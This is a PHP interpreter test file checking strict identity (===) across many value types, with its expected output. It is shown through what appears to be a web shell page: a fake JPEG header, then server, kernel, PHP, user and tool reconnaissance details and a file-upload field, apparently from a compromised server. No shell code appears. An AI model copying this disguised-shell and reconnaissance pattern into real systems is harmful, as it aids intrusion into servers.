????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.135.215.228 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/Zend/tests/ |
Upload File : |
--TEST-- comparing different variables for identity --SKIPIF-- <?php if (PHP_INT_SIZE != 8) die("skip this test is for 64bit platform only"); ?> --FILE-- <?php class test { } $a = array( array(1,2,3), "", 1, 2.5, 0, "string", "123", "2.5", NULL, true, false, new stdclass, new stdclass, new test, array(), -PHP_INT_MAX-1, (string)(-PHP_INT_MAX-1), ); $var_cnt = count($a); function my_dump($var) { ob_start(); var_dump($var); $buf = ob_get_clean(); echo str_replace("\n", "", $buf); } foreach($a as $var) { for ($i = 0; $i < $var_cnt; $i++) { my_dump($var); echo ($var === $a[$i]) ? " === " : " !== "; my_dump($a[$i]); echo "\n"; } } echo "Done\n"; ?> --EXPECTF-- array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} === array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== string(0) "" array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== int(1) array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== float(2.5) array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== int(0) array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== string(6) "string" array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== string(3) "123" array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== string(3) "2.5" array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== NULL array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== bool(true) array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== bool(false) array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== object(stdClass)#%d (0) {} array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== object(stdClass)#%d (0) {} array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== object(test)#%d (0) {} array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== array(0) {} array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== int(-9223372036854775808) array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} !== string(20) "-9223372036854775808" string(0) "" !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} string(0) "" === string(0) "" string(0) "" !== int(1) string(0) "" !== float(2.5) string(0) "" !== int(0) string(0) "" !== string(6) "string" string(0) "" !== string(3) "123" string(0) "" !== string(3) "2.5" string(0) "" !== NULL string(0) "" !== bool(true) string(0) "" !== bool(false) string(0) "" !== object(stdClass)#%d (0) {} string(0) "" !== object(stdClass)#%d (0) {} string(0) "" !== object(test)#%d (0) {} string(0) "" !== array(0) {} string(0) "" !== int(-9223372036854775808) string(0) "" !== string(20) "-9223372036854775808" int(1) !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} int(1) !== string(0) "" int(1) === int(1) int(1) !== float(2.5) int(1) !== int(0) int(1) !== string(6) "string" int(1) !== string(3) "123" int(1) !== string(3) "2.5" int(1) !== NULL int(1) !== bool(true) int(1) !== bool(false) int(1) !== object(stdClass)#%d (0) {} int(1) !== object(stdClass)#%d (0) {} int(1) !== object(test)#%d (0) {} int(1) !== array(0) {} int(1) !== int(-9223372036854775808) int(1) !== string(20) "-9223372036854775808" float(2.5) !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} float(2.5) !== string(0) "" float(2.5) !== int(1) float(2.5) === float(2.5) float(2.5) !== int(0) float(2.5) !== string(6) "string" float(2.5) !== string(3) "123" float(2.5) !== string(3) "2.5" float(2.5) !== NULL float(2.5) !== bool(true) float(2.5) !== bool(false) float(2.5) !== object(stdClass)#%d (0) {} float(2.5) !== object(stdClass)#%d (0) {} float(2.5) !== object(test)#%d (0) {} float(2.5) !== array(0) {} float(2.5) !== int(-9223372036854775808) float(2.5) !== string(20) "-9223372036854775808" int(0) !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} int(0) !== string(0) "" int(0) !== int(1) int(0) !== float(2.5) int(0) === int(0) int(0) !== string(6) "string" int(0) !== string(3) "123" int(0) !== string(3) "2.5" int(0) !== NULL int(0) !== bool(true) int(0) !== bool(false) int(0) !== object(stdClass)#%d (0) {} int(0) !== object(stdClass)#%d (0) {} int(0) !== object(test)#%d (0) {} int(0) !== array(0) {} int(0) !== int(-9223372036854775808) int(0) !== string(20) "-9223372036854775808" string(6) "string" !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} string(6) "string" !== string(0) "" string(6) "string" !== int(1) string(6) "string" !== float(2.5) string(6) "string" !== int(0) string(6) "string" === string(6) "string" string(6) "string" !== string(3) "123" string(6) "string" !== string(3) "2.5" string(6) "string" !== NULL string(6) "string" !== bool(true) string(6) "string" !== bool(false) string(6) "string" !== object(stdClass)#%d (0) {} string(6) "string" !== object(stdClass)#%d (0) {} string(6) "string" !== object(test)#%d (0) {} string(6) "string" !== array(0) {} string(6) "string" !== int(-9223372036854775808) string(6) "string" !== string(20) "-9223372036854775808" string(3) "123" !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} string(3) "123" !== string(0) "" string(3) "123" !== int(1) string(3) "123" !== float(2.5) string(3) "123" !== int(0) string(3) "123" !== string(6) "string" string(3) "123" === string(3) "123" string(3) "123" !== string(3) "2.5" string(3) "123" !== NULL string(3) "123" !== bool(true) string(3) "123" !== bool(false) string(3) "123" !== object(stdClass)#%d (0) {} string(3) "123" !== object(stdClass)#%d (0) {} string(3) "123" !== object(test)#%d (0) {} string(3) "123" !== array(0) {} string(3) "123" !== int(-9223372036854775808) string(3) "123" !== string(20) "-9223372036854775808" string(3) "2.5" !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} string(3) "2.5" !== string(0) "" string(3) "2.5" !== int(1) string(3) "2.5" !== float(2.5) string(3) "2.5" !== int(0) string(3) "2.5" !== string(6) "string" string(3) "2.5" !== string(3) "123" string(3) "2.5" === string(3) "2.5" string(3) "2.5" !== NULL string(3) "2.5" !== bool(true) string(3) "2.5" !== bool(false) string(3) "2.5" !== object(stdClass)#%d (0) {} string(3) "2.5" !== object(stdClass)#%d (0) {} string(3) "2.5" !== object(test)#%d (0) {} string(3) "2.5" !== array(0) {} string(3) "2.5" !== int(-9223372036854775808) string(3) "2.5" !== string(20) "-9223372036854775808" NULL !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} NULL !== string(0) "" NULL !== int(1) NULL !== float(2.5) NULL !== int(0) NULL !== string(6) "string" NULL !== string(3) "123" NULL !== string(3) "2.5" NULL === NULL NULL !== bool(true) NULL !== bool(false) NULL !== object(stdClass)#%d (0) {} NULL !== object(stdClass)#%d (0) {} NULL !== object(test)#%d (0) {} NULL !== array(0) {} NULL !== int(-9223372036854775808) NULL !== string(20) "-9223372036854775808" bool(true) !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} bool(true) !== string(0) "" bool(true) !== int(1) bool(true) !== float(2.5) bool(true) !== int(0) bool(true) !== string(6) "string" bool(true) !== string(3) "123" bool(true) !== string(3) "2.5" bool(true) !== NULL bool(true) === bool(true) bool(true) !== bool(false) bool(true) !== object(stdClass)#%d (0) {} bool(true) !== object(stdClass)#%d (0) {} bool(true) !== object(test)#%d (0) {} bool(true) !== array(0) {} bool(true) !== int(-9223372036854775808) bool(true) !== string(20) "-9223372036854775808" bool(false) !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} bool(false) !== string(0) "" bool(false) !== int(1) bool(false) !== float(2.5) bool(false) !== int(0) bool(false) !== string(6) "string" bool(false) !== string(3) "123" bool(false) !== string(3) "2.5" bool(false) !== NULL bool(false) !== bool(true) bool(false) === bool(false) bool(false) !== object(stdClass)#%d (0) {} bool(false) !== object(stdClass)#%d (0) {} bool(false) !== object(test)#%d (0) {} bool(false) !== array(0) {} bool(false) !== int(-9223372036854775808) bool(false) !== string(20) "-9223372036854775808" object(stdClass)#%d (0) {} !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} object(stdClass)#%d (0) {} !== string(0) "" object(stdClass)#%d (0) {} !== int(1) object(stdClass)#%d (0) {} !== float(2.5) object(stdClass)#%d (0) {} !== int(0) object(stdClass)#%d (0) {} !== string(6) "string" object(stdClass)#%d (0) {} !== string(3) "123" object(stdClass)#%d (0) {} !== string(3) "2.5" object(stdClass)#%d (0) {} !== NULL object(stdClass)#%d (0) {} !== bool(true) object(stdClass)#%d (0) {} !== bool(false) object(stdClass)#%d (0) {} === object(stdClass)#%d (0) {} object(stdClass)#%d (0) {} !== object(stdClass)#%d (0) {} object(stdClass)#%d (0) {} !== object(test)#%d (0) {} object(stdClass)#%d (0) {} !== array(0) {} object(stdClass)#%d (0) {} !== int(-9223372036854775808) object(stdClass)#%d (0) {} !== string(20) "-9223372036854775808" object(stdClass)#%d (0) {} !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} object(stdClass)#%d (0) {} !== string(0) "" object(stdClass)#%d (0) {} !== int(1) object(stdClass)#%d (0) {} !== float(2.5) object(stdClass)#%d (0) {} !== int(0) object(stdClass)#%d (0) {} !== string(6) "string" object(stdClass)#%d (0) {} !== string(3) "123" object(stdClass)#%d (0) {} !== string(3) "2.5" object(stdClass)#%d (0) {} !== NULL object(stdClass)#%d (0) {} !== bool(true) object(stdClass)#%d (0) {} !== bool(false) object(stdClass)#%d (0) {} !== object(stdClass)#%d (0) {} object(stdClass)#%d (0) {} === object(stdClass)#%d (0) {} object(stdClass)#%d (0) {} !== object(test)#%d (0) {} object(stdClass)#%d (0) {} !== array(0) {} object(stdClass)#%d (0) {} !== int(-9223372036854775808) object(stdClass)#%d (0) {} !== string(20) "-9223372036854775808" object(test)#%d (0) {} !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} object(test)#%d (0) {} !== string(0) "" object(test)#%d (0) {} !== int(1) object(test)#%d (0) {} !== float(2.5) object(test)#%d (0) {} !== int(0) object(test)#%d (0) {} !== string(6) "string" object(test)#%d (0) {} !== string(3) "123" object(test)#%d (0) {} !== string(3) "2.5" object(test)#%d (0) {} !== NULL object(test)#%d (0) {} !== bool(true) object(test)#%d (0) {} !== bool(false) object(test)#%d (0) {} !== object(stdClass)#%d (0) {} object(test)#%d (0) {} !== object(stdClass)#%d (0) {} object(test)#%d (0) {} === object(test)#%d (0) {} object(test)#%d (0) {} !== array(0) {} object(test)#%d (0) {} !== int(-9223372036854775808) object(test)#%d (0) {} !== string(20) "-9223372036854775808" array(0) {} !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} array(0) {} !== string(0) "" array(0) {} !== int(1) array(0) {} !== float(2.5) array(0) {} !== int(0) array(0) {} !== string(6) "string" array(0) {} !== string(3) "123" array(0) {} !== string(3) "2.5" array(0) {} !== NULL array(0) {} !== bool(true) array(0) {} !== bool(false) array(0) {} !== object(stdClass)#%d (0) {} array(0) {} !== object(stdClass)#%d (0) {} array(0) {} !== object(test)#%d (0) {} array(0) {} === array(0) {} array(0) {} !== int(-9223372036854775808) array(0) {} !== string(20) "-9223372036854775808" int(-9223372036854775808) !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} int(-9223372036854775808) !== string(0) "" int(-9223372036854775808) !== int(1) int(-9223372036854775808) !== float(2.5) int(-9223372036854775808) !== int(0) int(-9223372036854775808) !== string(6) "string" int(-9223372036854775808) !== string(3) "123" int(-9223372036854775808) !== string(3) "2.5" int(-9223372036854775808) !== NULL int(-9223372036854775808) !== bool(true) int(-9223372036854775808) !== bool(false) int(-9223372036854775808) !== object(stdClass)#%d (0) {} int(-9223372036854775808) !== object(stdClass)#%d (0) {} int(-9223372036854775808) !== object(test)#%d (0) {} int(-9223372036854775808) !== array(0) {} int(-9223372036854775808) === int(-9223372036854775808) int(-9223372036854775808) !== string(20) "-9223372036854775808" string(20) "-9223372036854775808" !== array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)} string(20) "-9223372036854775808" !== string(0) "" string(20) "-9223372036854775808" !== int(1) string(20) "-9223372036854775808" !== float(2.5) string(20) "-9223372036854775808" !== int(0) string(20) "-9223372036854775808" !== string(6) "string" string(20) "-9223372036854775808" !== string(3) "123" string(20) "-9223372036854775808" !== string(3) "2.5" string(20) "-9223372036854775808" !== NULL string(20) "-9223372036854775808" !== bool(true) string(20) "-9223372036854775808" !== bool(false) string(20) "-9223372036854775808" !== object(stdClass)#%d (0) {} string(20) "-9223372036854775808" !== object(stdClass)#%d (0) {} string(20) "-9223372036854775808" !== object(test)#%d (0) {} string(20) "-9223372036854775808" !== array(0) {} string(20) "-9223372036854775808" !== int(-9223372036854775808) string(20) "-9223372036854775808" === string(20) "-9223372036854775808" Done